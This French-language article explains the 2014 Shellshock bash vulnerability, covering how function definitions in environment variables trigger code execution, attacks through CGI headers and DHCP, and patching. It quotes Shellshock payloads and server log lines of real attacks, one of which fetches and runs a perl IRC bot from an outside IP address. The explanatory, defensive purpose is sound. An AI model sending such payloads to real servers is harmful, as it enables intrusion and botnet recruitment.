Shellshock
Depuis quelques jours, Internet bruisse d'une nouvelle vulnérabilité nommée Shellshock découverte dans bash par Stéphane Chazelas le 12 septembre 2014, et publiée le 24 septembre. Cette vulnérabilité repose sur une erreur dans l'utilisation de variables d'environnement associées à une définition de fonction shell. L'exploitation de la vulnérabilité donne à l'agresseur accès à un interpréteur de commandes sur le système visé, avec les droits associés au processus attaqué.
La vulnérabilité
Variables d'environnement et sécurité
Avec le shell, il est possible de définir une variable d'environnement, qui est accessible à l'interpréteur de commandes où se fait la définition ainsi qu'à ses sous-processus. C'est une façon de transmettre des données d'un processus père à un ou plusieurs processus fils.
En matière de sécurité, toute transmission d'information entre deux composants (ici un processus père et l'un de ses descendants) doit donner lieu à la validation des données transmises avant leur utilisation. C'est pour cela que certains scripts valident, voire définissent d'autorité, le contenu des variables PATH, LIB et autres, qui permettent d'indiquer le chemin de recherche des commandes ou des bibliothèques.
Shellshock
La vulnérabilité Shellshock ne touche que l'interpréteur bash. Elle est subtile, en cela que le processus visé ne peut pas vérifier l'inocuité d'une variable d'environnement : lorsque le processus démarre, il est déjà trop tard. Il s'agit d'une vulnérabilité de type exécution de commande à distance (RCE, Remote Command Execution). La variable d'environnement définit une fonction suivie de code shell. L'ensemble est transmis au processus cible qui, s'il s'agit d'un bash vulnérable, exécutera le code placé après la définition de fonction :
$ env x='() { :;}; echo Vulnérable' bash -c "echo Voici un test"
Vulnérable
Voici un test
Dans l'exemple ci-dessus, la variable d'environnement x contient la définition d'une fonction vide : accolade ouvrante, deux-points, point-virgule, accolade fermante. Cette définition est suivie du code echo Vulnérable. La variable x est placée dans l'environnement du shell courant, et un sous-processus est lancé (bash -c ...). Le résultat est que la commande echo associée à la variable d'environnement est exécutée, et elle l'est avant que le shell lui-même n'exécute la commande demandée.
Si vous n'êtes pas vulnérable (pas d'utilisation de bash, ou version corrigée de cet interpréteur de commandes), vous obtiendrez
$ env x='() { :;}; echo Vulnérable' bash -c "echo Voici un test"
Voici un test
Exploitation et conséquences
La conséquence est dévastatrice dans sa simplicité : tout programme accessible à distance dont l'une des fonctionnalités repose sur l'exécution d'un script shell, lorsque l'interpréteur de commandes utilisé est bash, permet à une personne malveillante d'exécuter des commandes shell à distance.
Privilèges d'accès
Il est important de comprendre que le code shell malveillant est exécuté dans le contexte de la cible concernée, et avec tous ses privilèges et droits d'accès au système support.
Si la cible est un serveur Web s'exécutant sous apache/apache (par exemple), les commandes malveillantes s'exécuteront sous apache/apache et pourront réaliser tout ce qui est autorisé à l'utilisateur apache. Pour poursuivre cet exemple, si les fichiers de votre serveur Web appartiennent à l'utilisateur apache, il est possible de les modifier.
Si la cible est un processus diposant de privilèges élevés (client DHCP qui, pour modifier la configuration de la carte réseau, s'exécute sous root), les commandes exécutées bénéficieront de ces privilèges.
Script CGI et serveurs Web
La première cible à laquelle on pense est un serveur Web dont certaines fonctions sont mises en oeuvre par des scripts CGI écrits en shell, toujours sous la contrainte que l'interpréteur de commandes utilisé soit bash. Imaginons par exemple qu'un script CGI, exécuté via bash, traite une requête reçue d'un navigateur. Nous avons donné au champ Cookie de l'en-tête HTTP la valeur Cookie:() { :; }; ping -c 3 1.2.3.4.
Dans le fonctionnement de l'interface entre le serveur et les script CGI, les champs d'en-tête reçus du navigateur sont transformés en variables d'environnement. Le champ Cookie devient donc la variable d'environnement COOKIE, laquelle vaut () { :; }; ping -c 3 1.2.3.4. Si le script CGI est exécuté par bash, la vulnérabilité Shellshock fait que la commande, dont il est bon de rappeller qu'elle est totalement sous le contrôle de l'agresseur, est exécutée.
Evidemment, les malveillants ne se limiteront pas à un ping. Voici ce que nous avons trouvé dans les journaux de serveurs Web depuis le 25 septembre :
[25/Sep/2014:19:49:51 +0200] "GET / HTTP/1.1" 403 202 "() { :; }; /bin/ping -c 1 a.b.c.d" "() { :; }; /bin/ping -c 1 a.b.c.d"
[29/Sep/2014:23:45:33 +0200] "GET /cgi-bin/hi HTTP/1.0" 403 212 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/ji ; perl /tmp/ji;rm -rf /tmp/ji\""
[30/Sep/2014:05:35:50 +0200] "GET /cgi-sys/php5 HTTP/1.1" 403 214 "-" "() { p4r4l4x;};echo \"Content-type: text/plain\"; echo; uname -a;"
Ci-dessus, les attaques passent par le champ User-Agent de l'en-tête HTTP, champ qui est généralement inclus dans la journalisation faite par le serveur. D'autres en-têtes (Cookie, Host, etc.) peuvent être utilisés, qui ne sont pas inclus dans la journalisation et ne laissent donc aucune trace.
Le premier exemple n'est qu'un ping. S'il paraît inoffensif, c'est peut-être un premier test pour vérifier si le serveur est vulnérable et, le cas échéant, exécuter des commandes plus agressives.
Le troisième exemple correspond à l'exécution de la commande uname, qui affiche la version du noyau actif et quelques autres informations. Ce peut aussi n'être qu'un test préliminaire pour vérifier la présence de la vulnérabilité.
La seconde commande est plus intéressante :
- cd /tmp : se déplacer dans le répertoire /tmp
- wget http://213.5.67.223/ji : récupérer le fichier ji depuis l'adresse IP 213.5.67.223
- curl -O /tmp/ji http://213.5.67.223/ji : idem que précédemment.
- perl /tmp/ji : exécuter le script ji
- rm -rf /tmp/ji : puis l'effacer
La double récupération du script ji, via wget et curl, peut paraître étonnante. Il s'agit probablement d'une redondance ajoutée au cas où l'une des deux commandes (wget ou curl) ne soit pas disponible dans l'environnement cible.
Lorsque nous avons relevé ces traces, le serveur 213.5.67.223 ne répondait plus. Impossible de savoir ce que faisait le script ji. Il semble que c'était un client IRC. Nous avons attendu une autre tentative, utilisant la même chaîne de commandes mais avec une adresse IP différente, pour récupérer le script ji. Il s'agit d'un zombie IRC, qui se connecte par défaut à ircd.w3h.co.uk et attend de recevoir des directives. Il dispose entre autres de fonctions d'énumération de ports (pour une cible indiquée via le canal IRC), de saturation TCP ou UDP et HTTP, d'une fonction de propagation en cherchant des vulnérabilités Mambo (précurseur de Joomla) et d'un reverse shell.
Ce n'est là, bien évidemment, qu'un exemple de ce qui est réalisé/tenté à travers la vulnérabilité Shellshock.
Client DHCP
Un serveur DHCP peut, dans les informations envoyées en réponse à une sollicitation, inclure l'option 114 (URL du serveur). Si cette option contient une structure permettant de déclencher la vulnérabilité Shellshock, et si le client DHCP utilise un bash vulnérable, les commandes seront exécutées sur le client.
Il est à noter que le client DHCP s'exécute le plus souvent avec les droits root sur la machine. Il n'y a donc que peu de restrictions quant à ce que le code malveillant peut exécuter.
Mitigation ou correction ?
Mitigation de la vulnérabilité
La mitigation est difficile. Tous les processus accessibles depuis un environnement hostile devraient s'exécuter en isolation du système d'exploitation (mise en cage : jail, chroot) et la cage ne devrait pas contenir d'interpréteur de commandes. C'est plus facile à dire qu'à faire. Rien ne garantit, hormis des audits approfondis, qu'il n'existe pas, caché au fond d'une obscure configuration, un démon ayant la capacité de lancer bash.
Même si, dans votre serveur Web, vous n'avez pas de code écrit en shell, rien n'exclut que l'un ou l'autre des programmes fassent appel à bash (plus exactement à une fonction de type system(), laquelle peut invoquer l'interpréteur par défaut).
Correction de la vulnérabilité
La correction se fait en mettant à jour bash, vers la version 4.2 patch 50 au minimum. Cette correction doit être faite sur tout système disposant de bash, y compris les appliances et autres équipements embarqués.
Il est à noter que la découverte de la vulnérabilité initiale a amené à l'identification en cascade d'autres vulnérabilités (toujours autour de la définition de variables d'environnement contenant des fonctions). Il est donc possible que de nouveaux correctifs soient produits à un rythme assez élevé sur les jours qui viennent.
Une autre possibilité est d'éliminer bash et d'utiliser un autre interpréteur de commandes.
Pour conclure...
La vulnérabilité Shellshock existe dans bash depuis 1992.